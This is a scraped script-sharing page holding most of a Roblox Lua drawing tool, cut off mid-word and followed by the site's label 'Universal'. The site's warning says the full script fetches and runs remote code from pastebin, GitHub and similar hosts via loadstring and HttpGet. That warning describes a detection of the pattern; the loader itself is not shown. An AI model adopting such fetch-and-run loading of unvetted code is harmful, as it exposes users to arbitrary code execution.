colors.Col.Value = c
presets.ColorT.Text = round(color.r,1)..", "..round(color.g,1)..", "..round(color.b,1)
presets.Transparent.Text = tostring(transparency)
local th = tostring(thickness)
if thickness < 0.15 then
th = '0.1'
end
presets.Thickness.Text = tostring(th)
presets.CanCollide.Text = tostring(canCollide)
end
end)
local UIS = game:GetService("UserInputService")
UIS.InputEnded:connect(function(k,g)
if k.KeyCode == Enum.KeyCode.Equals and not g then
enabled = not enabled
end
end)
drawings = Instance.new("Model",workspace)
drawings.Name = "Drawings"
lastd = nil
spawn(function()
while wait() do
mouse = plr:GetMouse()
if drawings == nil then
drawings = Instance.new("Model",workspace)
drawings.Name = "Drawings"
end
if drawings.Parent ~= workspace then
drawings.Parent = workspace
end
end
end)
canCollide = false
canStack = false
thickness = 1
color = Color3.new(1,0,0)
transparency = 0
interval = 0.1
rainbow = false
lastm = nil
drawing = false
neon = false
local zDown = false
mdown = false
ndown = false
bdown = false
vdown = false
spawn(function()
while wait() do
if ndown == true then
if not (thickness < 0.2) then
thickness = thickness - 0.2
end
end
if mdown == true then
if (thickness < 20) then
thickness = thickness + 0.2
end
end
if bdown == true then
if (transparency < 0.9) then
transparency = transparency + 0.1
wait(0.1)
end
end
if vdown == true then
if (transparency > 0) then
transparency = transparency - 0.1
end
if string.sub(tostring(transparency),1,3) == "2.7" then transparency = 0 end
wait(0.1)
end
end
end)
killer = false
mouse.KeyDown:connect(function(k)
if enabled == false then return end
local key = k:lower()
if key == "m" then
mdown = true
end
if key == "q" then
killer = not killer
end
if key == "n" then
ndown = true
end
if key == "x" then
neon = not neon
end
if key == "b" then
bdown = true
end
if key == "v" then
vdown = true
end
if key == "z" then
zDown = true
local draw = drawings[#drawings:GetChildren()]
if not draw then return end
draw:Destroy()
end
if key == "f" then
drawings:ClearAllChildren()
end
if key == "r" then
rainbow = not rainbow
end
if key == "c" then
canCollide = not canCollide
end
end)
mouse.KeyUp:connect(function(k)
local key = k:lower()
if key == "m" then
mdown = false
end
if key == "n" then
ndown = false
end
if key == "b" then
bdown = false
end
if key == "v" then
vdown = false
end
if key == "z" then
zDown = false
end
end)
local uis = game:GetService("UserInputService")
uis.InputBegan:connect(function(k,g)
if g then return end
if k.UserInputType == Enum.UserInputType.MouseButton1 then
drawing = true
end
end)
uis.InputEnded:connect(function(k,g)
if k.UserInputType == Enum.UserInputType.MouseButton1 then
drawing = false
end
end)
spawn(function()
while wait() do
if zDown == true then
local zWasUp = false
local n = 0
repeat wait() if zDown == false then zWasUp = true end n = n + 0.5 until n >= 10
if zDown == true and zWasUp == false then
repeat
game:GetService("RunService").RenderStepped:Wait()
pcall(function()
local draw = drawings[#drawings:GetChildren()]
draw:Destroy()
end)
until zDown == false
end
end
end
end)
mouse.TargetFilter = drawings
ldraw = nil
game:GetService("RunService").RenderStepped:connect(function()
if drawing == false then
lastm = mouse.Hit.p
ldraw = nil
end
print(drawing)
if drawing == true and (lastm ~= mouse.Hit.p) and enabled then
local mp = mouse.Hit.p
local mh = mouse.Hit
local mt = mouse.Target
if not ldraw then lastm = mp end
if true then
if (mp - lastm).magnitude < thickness*1.5 and ldraw then return end
local draw = Instance.new("Part",drawings)
draw.Name = #drawings:GetChildren()
draw.Anchored = true
draw.CanCollide = canCollide
if neon then
draw.Material = "Neon"
else
draw.Material = "SmoothPlastic"
end
draw.Transparency = transparency
draw.CFrame = CFrame.new((lastm + mouse.Hit.p)/2,lastm)
draw.Size = Vector3.new(0,0,(lastm - mp).magnitude)
tween(draw, "Sine", "Out", 0.1, {
Size = Vector3.new(thickness,thickness,(lastm - mp).magnitude)
})
local orr = draw.Size
if killer then
coroutine.resume(coroutine.create(function()
local oz = Vector3.new(thickness,thickness,(lastm - mp).magnitude)
while draw and draw.Parent == drawings do
local t = tween(draw, "Sine", "InOut", 0.5, {
Size = oz * 1.2 + Vector3.new(0.25,0.25,0)
})
t.Completed:Wait(0)
local t = tween(draw, "Sine", "InOut", 0.5, {
Size = oz
})
t.Completed:Wait(0)
end
end))
end
if rainbow == false then
draw.Color = color
else
local start = 0
spawn(function()
local rs = 1
while game:GetService("RunService").RenderStepped:Wait() do
game:GetService("RunService").RenderStepped:Wait()
game:GetService("RunService").RenderStepped:Wait()
if draw == nil or draw.Parent == nil then breaLoads code from the internet. It downloads more code when it runs (loadstring + HttpGet), which can change after it was posted. From: github.com, raw.githubusercontent.com, pastefy.app, pastebin.com, rawscripts.net, www.roblox.com.
bunch of scripts Credits to owner

Universal